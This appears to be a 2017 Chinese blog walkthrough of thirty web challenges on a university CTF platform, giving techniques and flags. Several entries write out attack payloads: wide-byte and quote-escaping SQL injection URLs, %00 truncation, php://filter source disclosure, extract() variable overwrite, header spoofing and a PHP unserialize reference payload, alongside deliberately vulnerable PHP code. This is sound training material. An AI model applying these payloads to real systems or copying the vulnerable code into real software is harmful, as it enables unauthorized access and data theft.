Chybeta

南邮CTF平台web前30题解

1、

查看源代码view-source:http://chinalover.sinaapp.com/web1/
nctf{flag_admiaanaaaaaaaaaaa}

2、

MD5碰撞
http://115.28.150.176/md5/index.php?a=240610708
nctf{md5_collision_is_easy}

3、

绕过长度限制,firebug修改限制长度
nctf{follow_me_to_exploit}

4、

下载该gif文件,010编辑器打开,

最后nctf{photo_can_also_hid3_msg}

5、

所谓层层递进,就是一层一层的慢慢找吧
view-source:http://chinalover.sinaapp.com/web3/404.html

nctf{this_is_a_fl4g}

6、

  ゚ω゚ノ= /`m´)ノ ~┻━┻  //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) # (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

脑洞加密方式 http://www.tuicool.com/articles/2E3INnm
firebug 粘贴后 运行

nctf{javascript_aaencode}

7、

看起来像是老题 burpsuit抓包

8、

refer头部修改
ncf{http_referer}

9、

nctf{gzip_base64_hhhhhh}

10、

filter方式读取源码
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到base64编码 并解码得到

11、

burpsuit抓包, sendtorepeater 可以发现有重定向 一个个慢慢翻

nctf{this_is_302_redirect}

12、

提示下载其他东西,查看源代码,发现下载连接为 download.php?url=[base64]
已知的文件有 download.php 尝试下载 download.php -》 ZG93bmxvYWQucGhw 并查看
所以继续下载 hereiskey.php ->

nctf{download_any_file_666}

13、

页面提示 cookie burp抓包
设置cookie为0 后发现右边出现 Login=0
将cookie设置为 Login=1

nctf{cookie_is_different_from_session}

14、

访问http://chinalover.sinaapp.com/web11/robots.txt
别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息
TIP:sql.php

  <?php
  if($_GET[id]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    mysql_select_db(SAE_MYSQL_DB);
    $id = intval($_GET[id]);
    $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
    if ($_GET[id]==1024) {
        echo "<p>no! try again</p>";
    }
    else{
      echo($query[content]);
    }
  }
  ?>

所以目标是 http://chinalover.sinaapp.com/web11/sql.php 参数是 id
而且其中的那个数字 1024 很奇怪啊

intval是取整函数,所以让 id等于 1024.* 比如1024.9999999 1024.0000001 则$id = intval($_GET[id]) 后 $id=1024
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

nctf{query_in_mysql}

15、

gbk 提示:宽字节注入
先查 表名

  http://115.28.150.176/sqli/index.php?id=1%df' union select 1,table_name from information_schema.tables%23

再查 字段名

  http://115.28.150.176/sqli/index.php?id=1%df' union select 1,column_name from information_schema.columns where table_name=0x666c6167%23

查询 数据

  http://115.28.150.176/sqli/index.php?id=1%df' union select 1,fl4g from flag %23

nctf{gbk_3sqli}

资料:宽字节注入
https://www.91ri.org/8611.html

16、

考点是 截断 然而……

  * teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[0]=a      <-为什么这个方法可以?…… 运气
  * teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu     %00截断   %23为 #

flag:nctf{use_00_to_jieduan}

17、

注意和第二题的区别,第二题是== 而这一题是 === 要求不仅仅是值相同 而且类型要相同,
所以这一题不能用md5碰撞
在php中 md5() 需要一个string参数,但若传入一个数组类型,它不会报错但会返回空值
利用这点,我们传入两个数组进行绕过if判断
http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=0

Flag: nctf{php_is_so_cool}

18、

变量覆盖!

                <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                    <?php
                    extract($_POST);
                    if ($pass == $thepassword_123) { ?>
                        <div class="alert alert-success">
                            <code><?php echo $theflag; ?></code>
                        </div>
                    <?php } ?>
                <?php } ?>        

extract函数“可能”导致变量覆盖漏洞,我们传入pass的值,并且把thepassword_123的值覆盖为我们需要的值

nctf{bian_liang_fu_gai!}

19、

查看index.txt
<?php
if(eregi(“hackerDJ”,$_GET[id])) {
echo(“

not allowed!

“);
exit();
}

  $_GET[id] = urldecode($_GET[id]);
  if($_GET[id] == "hackerDJ")
  {
    echo "<p>Access granted!</p>";
    echo "<p>flag: *****************} </p>";
  }
  ?>
  <br><br>
  Can you authenticate to this website?

id 不能与 hackerDJ 相等,而且id经过 urldecode后要与 hackerDJ相同
http://php.net/manual/en/function.urldecode.php

$_GET[]本身就有urldecode的功能
而且就 urlencode,是把对应的ASCII码前面加上%,urldecode就是把对应的编码还原,而未经编码的保持不变
所以对hackerDJ中的任意一个进行编码或是全部编码,效果相同
http://way.nuptzj.cn/php/index.php?id=%2568ackerDJ
%2568ackerDJ在第一个GET处被urldecode成 %68ackerDJ ,绕过了第一个if判断,
接着是 代码中的显式urldecode,被还原成 hackerDJ 从而拿到 flag

20、

本地登录,上burp 添加X-Forwarded-For:127.0.0.1

nctf{happy_http_headers}

21、

都已经提示header了
burp抓包,查看

nctf{tips_often_hide_here}

22、

查看一下源代码,看一看upload.php
然后我把那张gif.gif的图片传了上去,结果
这里只写一下正确姿势,其余的上传绕过日后总结,
在upload这里添上 1.php .gif (php和 . 之间是 空格键产生的空格)
这里的 20 就是php和 . 之间的空格
利用 00 截断上传 ,把 20 修改为 00
nctf{welcome_to_hacks_world}

23、

点进去是 Source 代码,没有看到显式的过滤或转义, trim()是去除两侧空格
所以尝试传入user为 admin’)# 其中 ‘)用来分别用来闭合 #用来把后面给注释掉
这样最后的查询语句为

  select user from ctf where (user='admin')

nctf{ni_ye_hui_sql?}

24、

注意提示: tip:strcmp(array,string)=null=0

所以根据代码逻辑,我们传入的pass若与pass1相等,则返回0, !strcmp则为 真
这里是关于strcmp的解释http://www.w3school.com.cn/php/func_string_strcmp.asp
利用提示,我们传入 pass数组,比如 pass[]=1, 见右上。

nctf{strcmp_is_n0t_3afe}

25、

传入十六进制,可以绕过判断, 54975581388
http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

nctf{follow_your_dream}

26、

既然是admin的密码,怎么会是ctfuser呢……

上burpsuit 改一改,然而不对。
注意到地址栏,user1传了一个参数:ctfuser的加密结果 进去,这个也必须改掉
所以改为 user1=YWRtaW4= 后面那串是admin的base64加密。 GO

nctf{reset_password_often_have_vuln}

27、

在xman训练营时有接触过某题,我们以为它的考点是反序列化,但当时没有类(class),最后只好作罢:)
<?php
class just4fun {
var $enter;
var $secret;
}

  if (isset($_GET['pass'])) {
      $pass = $_GET['pass'];

      if(get_magic_quotes_gpc()){
          $pass=stripslashes($pass);
      }

      $o = unserialize($pass);

      if ($o) {
          $o->secret = "*";
          if ($o->secret === $o->enter)
              echo "Congratulation! Here is my secret: ".$o->secret;
          else
              echo "Oh no... You can't fool me";
      }
      else echo "are you trolling?";
  }
  ?>

https://www.91ri.org/3960.html
http://www.freebuf.com/vuls/80293.html
然而有道坎实在绕不过去,那个$o->secret = “*”; 我不知道如何构造成相等……
参考网上的一篇……http://115.159.210.46/archives/19.html
<?php
class just4fun{
var $enter;
var $secret;
}
$class =new just4fun();
$class->enter=&$class->secret;
print_r(serialize($class))
?>
由上述代码得到最后的payload: http://115.28.150.176/php1/index.php?pass=O:8:%22just4fun%22:2:{s:5:%22enter%22;N;s:6:%22secret%22;R:2;}
最后稍微总结一下知识点:1)反序列化漏洞,2)php在面对object传值时的“特性”

nctf{serialize_and_unserialize}

28、

好熟悉的感觉,看看源代码……

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
        if(get_magic_quotes_gpc()){
                $str=stripslashes($str);
        }
      return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
      die('Invalid password!');
}
echo $flag;
-->Invalid password!

好吧 xman夏令营时原题做过了
SELECT FROM users WHERE name=’admin\’ AND pass=’ or 1 #’;
这样一来 name=’*
‘ or 1 条件恒真
所以payload是 username=admin\&password=%20or%201%23

nctf{sql_injection_is_interesting}

29、

jsfuck……
放到firebug里直接运行一下,出来一个新页面,其内容如下图http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php
访问
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php

在header里啊,上burpsuit查看,发现tip为 history of bash. 如下左图
百度了一下, 如上右图,所以试着访问
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
得到新提示 zip -r flagbak.zip ./* 这是吧flagbak.zip文件解压到当前目录下,
所以flagbak.zip文件有可能仍然存在
尝试访问
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip
解压,里面有flag.txt文件,打开,得到flag。

nctf{bash_history_means_what}

30、

  <?php
  if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    mysql_select_db(SAE_MYSQL_DB);
    $user = $_POST[user];
    $pass = md5($_POST[pass]);
    $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
    if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
        echo "<p>Logged in! Key: ntcf{**************} </p>";
    }
    else {
      echo("<p>Log in failure!</p>");
    }
  }

ntcf{union_select_is_wtf}

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:南邮CTF平台web前30题解

文章作者:chybeta

发布时间:2017年01月12日 - 09:01

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/01/12/南邮CTF平台web前30题解/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。